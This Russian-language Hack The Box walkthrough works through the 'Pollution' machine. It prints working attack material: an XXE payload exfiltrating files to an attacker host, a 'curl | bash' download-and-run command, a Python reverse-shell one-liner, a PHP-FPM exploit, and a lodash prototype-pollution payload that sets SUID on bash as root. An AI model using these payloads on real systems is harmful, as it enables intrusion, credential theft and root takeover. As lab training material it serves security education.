Хакер - HTB Pollution. Эксплуатируем XXE и разбираемся с уязвимостью prototype pollution

Хакер - HTB Pollution. Эксплуатируем XXE и разбираемся с уязвимостью prototype pollution

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • XXE
  • Auth Bypass
  • PHP include RCE
  • Продвижение
  • Локальное повышение привилегий
  • Prototype pollution

В этом рай­тапе я покажу, как работать с уяз­вимостью типа prototype pollution в при­ложе­нии на Node.js. На пути к ней мы поуп­ражня­емся в экс­плу­ата­ции XXE, порабо­таем с Redis и при­меним экс­пло­ит для PHP FPM.

Уп­ражнять­ся мы будем на тре­ниро­воч­ной машине Pollution с пло­щад­ки Hack The Box. Уро­вень — слож­ный.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.192 pollution.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел все­го три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.4p1;
  • 80 — веб‑сер­вер Apache 2.4.54;
  • 6379 — СУБД Redis.

На­ибо­лее веро­ятная точ­ка вхо­да при таком выборе — веб‑сайт. Его‑то и про­верим пер­вым делом.

Глав­ная стра­ница сай­та

В информа­ции на сай­те отра­жает­ся реаль­ный домен, который мы добав­ляем в файл /etc/hosts.

10.10.11.192 pollution.htb collect.htb

Ин­форма­ция на сай­те

А так как мы получи­ли реаль­ное домен­ное имя, поп­робу­ем прос­каниро­вать под­домены.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -H — заголо­вок HTTP;
  • -fs — филь­тро­вать стра­ницы по раз­меру.

Мес­то перебо­ра помеча­ется сло­вом FUZZ.

По­луча­ется вот такая коман­да:

ffuf -u 'http://collect.htb/' -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.collect.htb' -fs 26197

Ре­зуль­тат ска­ниро­вания под­доменов

До­бав­ляем все най­ден­ные записи в файл /etc/hosts.

10.10.11.192 pollution.htb collect.htb forum.collect.htb developers.collect.htb

На пер­вом домене обна­ружи­ваем откры­тый форум с воз­можностью регис­тра­ции, а на вто­ром нас встре­чает HTTP-аутен­тифика­ция.

Глав­ная стра­ница forum.collect.htb

Пе­рехо­дим к изу­чению форума.

ТОЧКА ВХОДА

Ре­гис­три­руем­ся на форуме, так как это поз­волит рас­ширить область иссле­дова­ния. Сра­зу копиру­ем себе спи­сок поль­зовате­лей, иног­да это очень важ­ная информа­ция.

Поль­зовате­ли форума

Пе­рехо­дим к откры­тым темам и прос­матри­ваем обсужде­ния. В одном пос­те видим, как поль­зователь рас­шарил исто­рию прок­си‑сер­вера.

Со­обще­ние с исто­рией прок­си‑сер­вера

В фай­ле видим всю исто­рию зап­росов и отве­тов, про­ходив­ших через прок­си. Эти дан­ные закоди­рова­ны в Base64.

Со­дер­жимое фай­ла proxy_history.txt

Де­коди­ровать мож­но пря­мо в Burp с помощью ком­бинации кла­виш Ctrl-Shift-B.

Де­коди­рован­ный зап­рос на сер­вер

На­ходим очень инте­рес­ный зап­рос, который повыша­ет роль поль­зовате­ля до адми­нис­тра­тора. Вер­немся к исходно­му сай­ту и отпра­вим ана­логич­ный зап­рос с тем же токеном.

Зап­рос на повыше­ние при­виле­гий

То­кен ока­зал­ся неод­норазо­вый, и роль поль­зовате­ля повыси­лась до адми­нис­тра­тора сай­та.

Стра­ница адми­нис­тра­тора

Эти при­виле­гии поз­воля­ют нам раз­решить поль­зовате­лю получать дос­туп по API.

Фор­ма регис­тра­ции поль­зовате­ля API

Прос­матри­ваем исто­рию зап­росов Burp History и находим зап­рос на регис­тра­цию поль­зовате­ля API.

Дан­ные отправ­ляют­ся в фор­мате XML, а зна­чит, здесь может быть уяз­вимость XXE. Давай про­верим!

ТОЧКА ОПОРЫ

XXE

Справка: XXE

Инъ­екция внеш­них сущ­ностей XML (XXE) — это уяз­вимость, которая поз­воля­ет ата­кующе­му вме­шивать­ся в обра­бот­ку XML-дан­ных. Эта уяз­вимость час­то помога­ет ата­кующе­му прос­матри­вать про­изволь­ные фай­лы в фай­ловой сис­теме сер­вера и вза­имо­дей­ство­вать с любыми сер­верны­ми или внеш­ними сис­темами, к которым име­ет дос­туп само при­ложе­ние.

Это про­исхо­дит из‑за того, что при­ложе­ние может исполь­зовать фор­мат XML для переда­чи дан­ных. Для их обра­бот­ки в таких слу­чаях поч­ти всег­да при­меня­ется стан­дар­тная биб­лиоте­ка или API плат­формы. Уяз­вимос­ти XXE воз­ника­ют из‑за того, что спе­цифи­кация XML содер­жит потен­циаль­но опас­ные фун­кции, которые мож­но выз­вать, даже если при­ложе­ние их не исполь­зует.

Внеш­ние сущ­ности XML — это тип нас­тра­иваемой сущ­ности, опре­делен­ные зна­чения которых заг­ружа­ются из фай­лов DTD с уда­лен­ного сер­вера.

Поп­робу­ем про­читать файл /etc/hosts. Запус­тим веб‑сер­вер:

python3 -m http.server 80

И соз­дадим наг­рузку, которая попыта­ется заг­рузить файл DTD evil.dtd с нашего веб‑сер­вера.

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [

<!ENTITY % xxe SYSTEM "http://10.10.14.13/evil.dtd"> %xxe;

]>

<root>

<method>POST</method>

<uri>/auth/register</uri>

<user>

<username>ralf</username>

<password>ralf</password>

</user>

</root>

Те­перь перехо­дим к содер­жимому фай­ла DTD. Сна­чала сущ­ность будет читать целевой файл и кодиро­вать его в Base64. А затем заг­ружать новую уда­лен­ную сущ­ность, но в URL-парамет­ре переда­вать закоди­рован­ный файл, который мы хотим получить.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../etc/hosts'>

<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.14.6/?file=%file;'>">

%eval;

%exfiltrate;

Вы­пол­нение зап­роса на сер­вер
Ло­ги веб‑сер­вера Python 3

Мы получи­ли дан­ные, а зна­чит, уяз­вимость есть. Давай читать фай­лы сай­та. Начина­ем, конеч­но, с index.php (изме­няем толь­ко пер­вую стро­ку фай­ла DTD).

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>

От­прав­ляем новый зап­рос, получа­ем файл на свой сер­вер и декоди­руем Base64-стро­ку.

Со­дер­жимое фай­ла index.php

Этот файл ничего, кро­ме новых путей, не рас­кры­вает. Давай получим под­клю­чаемый файл bootstrap.php.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../bootstrap.php'>

Со­дер­жимое фай­ла bootstrap.php

И получа­ем сек­рет для под­клю­чения к служ­бе Redis. К ней перей­дем чуть поз­же, а пока про­дол­жим выжимать мак­симум из XXE. Прав­да, боль­ше исходные коды нам ничего не откры­ли, но пом­ним про HTTP-аутен­тифика­цию на одном из доменов. Вспо­мина­ем про домен developers. Получим учет­ные дан­ные из фай­ла /var/www/developers/.htpasswd.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../../../var/www/developers/.htpasswd'>

Со­дер­жимое фай­ла .htpasswd

Что­бы переб­рать этот хеш, нам нуж­но знать режим перебо­ра. В этом поможет справ­ка hashcat.

hashcat --example | grep '\$apr1\$' -A2 -B2

Опи­сание хеша

По­луча­ем режим 1600, который переда­ем в парамет­ре -m.

hashcat -m 1600 hash.txt rockyou.txt

Ре­зуль­тат перебо­ра хеша

По­луча­ем пароль и авто­ризу­емся на developers.collect.htb, но нас встре­чает еще и авто­риза­ция на сай­те.

Фор­ма авто­риза­ции developers.collect.htb

Те­перь перей­дем к изу­чению Redis.

Auth Bypass

Порт открыт, поэто­му под­клю­чаем­ся с най­ден­ным паролем и получа­ем все клю­чи.

redis-cli -h collect.htb -a COLLECTR3D1SPASS

keys *

Клю­чи в базе Redis

По­луча­ем сес­сии, видимо, какого‑то веб при­ложе­ния. Для про­вер­ки перехо­дим к сай­ту developers, получа­ем новую сес­сию в куки и сно­ва про­веря­ем клю­чи в Redis.

Burp History
Клю­чи Redis

По­лучим записи по клю­чам, что­бы разоб­рать фор­мат хра­нящих­ся дан­ных.

По­луче­ние дан­ных Redis

Пер­вая запись соот­ветс­тву­ет сай­ту collect, а толь­ко что соз­данная сес­сия, конеч­но же, ничего не хра­нит. По извес­тной записи сфор­миру­ем дан­ные для адми­нис­тра­тора сай­та developers и прис­воим толь­ко что соз­данно­му клю­чу.

set PHPREDIS_SESSION:iht1inpstsraqqkbnc1grpi8fa "username|s:4:"ralf";role|s:5:"admin";auth|s:4:"True";"

Об­новля­ем стра­ницу на сай­те и получа­ем дос­туп от име­ни авто­ризо­ван­ного поль­зовате­ля.

До­маш­няя стра­ница сай­та Developers

Сра­зу обра­щаем вни­мание на то, что стра­ница переда­ется в качес­тве URL-парамет­ра page. В таких слу­чаях нуж­но сра­зу искать уяз­вимос­ти типа LFI или RCE. Я поп­робовал нес­коль­ко, но ничего не получи­лось. Ско­рее все­го, исполь­зуют­ся филь­тры и мы можем пос­мотреть на них, про­читав код сай­та через XXE.

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../../../var/www/developers/index.php'>

Со­дер­жимое фай­ла /var/www/developers/index.php

Ис­поль­зует­ся фун­кция include, но к ука­зан­ной стра­нице добав­ляет­ся рас­ширение .php.

PHP include RCE

Да­же в таком слу­чае мы можем выпол­нить про­изволь­ный код бла­года­ря репози­торию php_filter_chain_generator.

Соз­дание наг­рузки

Те­перь отправ­ляем ее на сайт и в отве­те видим резуль­тат выпол­нения коман­ды.

Экс­плу­ата­ция RCE

Ос­талось вмес­то коман­ды id выпол­нить коман­ду, которая ска­чает и запус­тит с нашего веб‑сер­вера сле­дующий реверс‑шелл.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Что­бы пой­мать вхо­дящее соеди­нение, исполь­зуем pwncat-cs.

python3 php_filter_chain_generator.py --chain '<?= `curl http://10.10.14.6/r | bash` ?>'

Сес­сия поль­зовате­ля веб‑сер­вера

ПРОДВИЖЕНИЕ

Те­перь нам необ­ходимо соб­рать информа­цию о сис­теме и потен­циаль­ных спо­собах повыше­ния при­виле­гий до рута. Я для это­го исполь­зую скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Да­вай пос­мотрим, что нашел скрипт.

В спис­ке про­цес­сов отме­чаем запущен­ные от име­ни раз­ных поль­зовате­лей про­цес­сы php-fpm, а так­же запущен­ный от име­ни рута polution_api nodejs.

Спи­сок про­цес­сов php-fpm
Про­цесс nodejs

Сре­ди прос­лушива­емых пор­тов есть порт служ­бы MySQL 3306.

Спи­сок прос­лушива­емых пор­тов

Так как работа­ет служ­ба базы дан­ных MySQL, ско­рее все­го, базы дан­ных исполь­зуют­ся веб‑при­ложе­нием. Зна­чит, мы можем най­ти в исходных кодах сай­та учет­ные дан­ные для под­клю­чения к СУБД и получить из базы все инте­рес­ные дан­ные. Код для под­клю­чения к СУБД находим в фай­ле login.php.

Со­дер­жимое фай­ла login.php

Под­клю­чаем­ся к базе дан­ных и прос­матри­ваем сущес­тву­ющие таб­лицы.

mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -D developers

show tables;

Таб­лицы в базе developers

По­луча­ем дан­ные из единс­твен­ной таб­лицы users.

select * from users;

Ло­гины и пароли поль­зовате­лей

По­лучен­ные учет­ные дан­ные никуда не под­ходят, поэто­му перей­дем к php-fpm. Исполь­зуем из­вес­тный экс­пло­ит для выпол­нения кода PHP. В качес­тве выпол­няемо­го кода будем прос­то вызывать фун­кцию system и переда­вать ей коман­ду.

touch r.php

python3 fpm.py -c '<?php system("id"); ?>' 127.0.0.1 /tmp/r.php

Вы­пол­нение коман­ды id

Ко­ман­да выпол­нена от име­ни поль­зовате­ля victor. Давай ско­пиру­ем файл коман­дной обо­лоч­ки /bin/bash и наз­начим ему бит SUID.

python3 fpm.py -c '<?php system("cp /bin/bash /tmp/bash; chmod u+s /tmp/bash"); ?>' 127.0.0.1 /tmp/r.php

Ко­пиро­вание фай­ла коман­дной обо­лоч­ки

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

Те­перь мы можем запус­тить новую сес­сию от име­ни поль­зовате­ля victor.

/tmp/bash -p

По­луче­ние сес­сии поль­зовате­ля victor

Ге­нери­руем SSH-ключ коман­дой ssh-keygen и записы­ваем пуб­личный SSH-ключ в файл ~/.ssh/authorized_keys. Затем под­клю­чаем­ся с при­ват­ным клю­чом и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

В домаш­нем катало­ге поль­зовате­ля находим исходные коды при­ложе­ния pollution_api, которое, как мы видели ранее, уже запуще­но от име­ни поль­зовате­ля root.

Со­дер­жимое катало­га pollution_api

Ис­ходни­ков очень мно­го, поэто­му заг­рузим на хост ар­хиватор 7za и упа­куем их для более удоб­ного ска­чива­ния.

./7za a -r pollution_api.7z pollution_api

Ар­хивиро­вание исходных кодов

По­луча­ем архив с уда­лен­ного сер­вера и откры­ваем в любой сре­де раз­работ­ки. Все эндпо­инты API можем най­ти в фай­ле documentation.js. Мы уже регис­три­рова­лись, поэто­му в /auth/login мож­но будет получить токен дос­тупа. Нас инте­ресу­ют точ­ки /admin/messages и /admin/messages/send.

Со­дер­жимое фай­ла documentation.js

Пе­рехо­дим к фай­лу admin.js. Обоз­начен­ные точ­ки ведут к модулям Messages и Messages_send соот­ветс­твен­но.

Со­дер­жимое фай­ла admin.js

При этом из admin.js тоже видим механизм аутен­тифика­ции, где перед про­вер­кой роли спи­сок поль­зовате­лей извле­кает­ся из базы дан­ных зап­росом User.findAll. Под­робнос­ти можем най­ти в фай­ле User.js.

Со­дер­жимое фай­ла User.findAll

В коде находим учет­ные дан­ные для под­клю­чения к базе дан­ных.

Со­дер­жимое фай­ла db.js

Те­перь мы можем под­клю­чить­ся к ней, поменять роль поль­зовате­ля на адми­нис­тра­тора и получить дос­туп к конеч­ным точ­кам /admin/messages и /admin/messages/send. Под­клю­чим­ся к базе и прос­мотрим таб­лицы.

mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -D pollution_api

show tables;

Таб­лицы в базе pollution_api

В таб­лице users хра­нит­ся информа­ция о поль­зовате­лях.

select * from users;

Поль­зовате­ли в таб­лице users

Из­менить роль поль­зовате­лей мож­но одним зап­росом.

update users set role='admin';

Те­перь перехо­дим к коман­дной обо­лоч­ке и исполь­зуем API для авто­риза­ции.

curl http://127.0.0.1:3000/auth/login -H "content-type: application/json" -d '{"username":"ralf","password":"ralf"}' ;echo

Ре­зуль­тат зап­роса

Мы авто­ризо­ваны и получи­ли токен дос­тупа. Изу­чаем исходни­ки даль­ше, что­бы понимать наши воз­можнос­ти.

В фай­ле Messages_send.js про­исхо­дит про­вер­ка парамет­ра text (стро­ка 8), а затем передан­ные поль­зовате­лем дан­ные переда­ются в фун­кцию merge модуля lodash (стро­ки 3 и 15).

Со­дер­жимое фай­ла Messages_send.js

Эта фун­кция уяз­вима перед prototype pollution. 

Prototype pollution

В JavaScript клас­сы реали­зуют­ся с помощью так называ­емых про­тоти­пов. Про­тотип любого объ­екта дос­тупен через свой­ство __proto__, то есть спра­вед­ливо сле­дующее:

"abc".__proto__ === String.prototype

Про­тоти­пы — это обыч­ные объ­екты, а зна­чит, их мож­но модифи­циро­вать. Добав­ление свой­ства к про­тоти­пу при­ведет к тому, что все сущес­тву­ющие объ­екты это­го типа тоже будут иметь новое свой­ство.

Мож­но про­верить на при­мере пус­того объ­екта obj_1. Добавим к его про­тоти­пу свой­ство x, потом соз­дадим новый объ­ект obj_2 такого же типа, и у него тоже будет свой­ство x.

Про­вер­ка свой­ства про­тоти­па

В коде мы видим выпол­нение фун­кции exec, что при­водит к соз­данию нового про­цес­са. Для таких слу­чаев уже есть мно­го готовых наг­рузок, экс­плу­ати­рующих prototype pollution, которые очень лег­ко най­ти в интерне­те.

Так, мы можем уста­новить NODE_OPTIONS для акти­вации допол­нитель­ных аргу­мен­тов коман­дной стро­ки про­цес­са. Не все аргу­мен­ты получит­ся уста­новить, но один из допус­тимых — --require, который мож­но исполь­зовать для вклю­чения любого фай­ла.

Обыч­ный спо­соб экс­плу­ата­ции такой уяз­вимос­ти — вста­вить новую перемен­ную сре­ды перед NODE_OPTIONS, которая содер­жит код JavaScript и име­ет завер­шающий ком­мента­рий, что­бы избе­жать син­такси­чес­ких оши­бок. Одна­ко Node.js теперь по‑дру­гому обра­баты­вает параметр NODE_OPTIONS и помеща­ет его пер­вым в спис­ке аргу­мен­тов, что не дает экс­плу­ати­ровать уяз­вимость.

Од­нако и это мож­но обой­ти — за счет опций самой фун­кции exec. Пер­вый ее аргу­мент — argv0, он ука­зыва­ет пер­вый эле­мент в спис­ке аргу­мен­тов нового про­цес­са (обыч­но это исполня­емый дво­ичный файл). Весь спи­сок аргу­мен­тов отра­жен в фай­ле /proc/self/cmdline, поэто­му пер­вый эле­мент будет рас­положен в самом начале. Таким обра­зом, ата­кующий дол­жен изме­нить зна­чение NODE_OPTIONS на --require /proc/self/cmdline и помес­тить свою наг­рузку в argv0.

Ос­талось решить пос­леднюю проб­лему. Так как пер­вый аргу­мент теперь изме­нен, про­цесс запус­тится, пос­коль­ку теперь это наг­рузка Node.js, а не путь к фай­лу. Но в опции shell мож­но ука­зать путь к фай­лу коман­дной обо­лоч­ки, который будет исполь­зован для запус­ка коман­ды. Вмес­то /bin/sh мож­но задать исполня­емый файл Node.js, который и выпол­нит нашу наг­рузку в пер­вом парамет­ре. Раз мы и так работа­ем из Node.js, путь к исполня­емо­му фай­лу мож­но взять из /proc/self/exe.

Со­бира­ем наг­рузку и можем экс­плу­ати­ровать prototype pollution.

{

"text":

{

"constructor":

{

"prototype":

{

"shell":"/proc/self/exe",

"argv0":"console.log(require("child_process").execSync("chmod +s /usr/bin/bash").toString())//",

"NODE_OPTIONS":"--require /proc/self/cmdline"

}

}

}

}

Эта наг­рузка уста­новит S-бит фай­лу коман­дной обо­лоч­ки /bin/bash. Отправ­ляем зап­рос с наг­рузкой на сер­вер.

curl http://127.0.0.1:3000/admin/messages/send -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicmFsZiIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTY3NTMzODg4MCwiZXhwIjoxNjc1MzQyNDgwfQ.SLKZoNeaTGU0mr22ue2C3AB1htN5VAU7ZS0rZCpCEhs" -H "content-type: application/json" -d '{"text":{"constructor":{"prototype":{"shell":"/proc/self/exe","argv0":"console.log(require("child_process").execSync("chmod +s /usr/bin/bash").toString())//","NODE_OPTIONS":"--require /proc/self/cmdline"}}}}'

Сер­вер отве­тил {"Status":"Ok"}, про­верим пра­ва на файл /bin/bash.

Пра­ва на файл /bin/bash

Ат­рибут SUID уста­нов­лен, а это зна­чит, что обыч­ный поль­зователь, запус­кающий этот файл на исполне­ние, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. В дан­ном слу­чае это root.

Флаг рута

Ма­шина зах­вачена, и мы получа­ем флаг.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page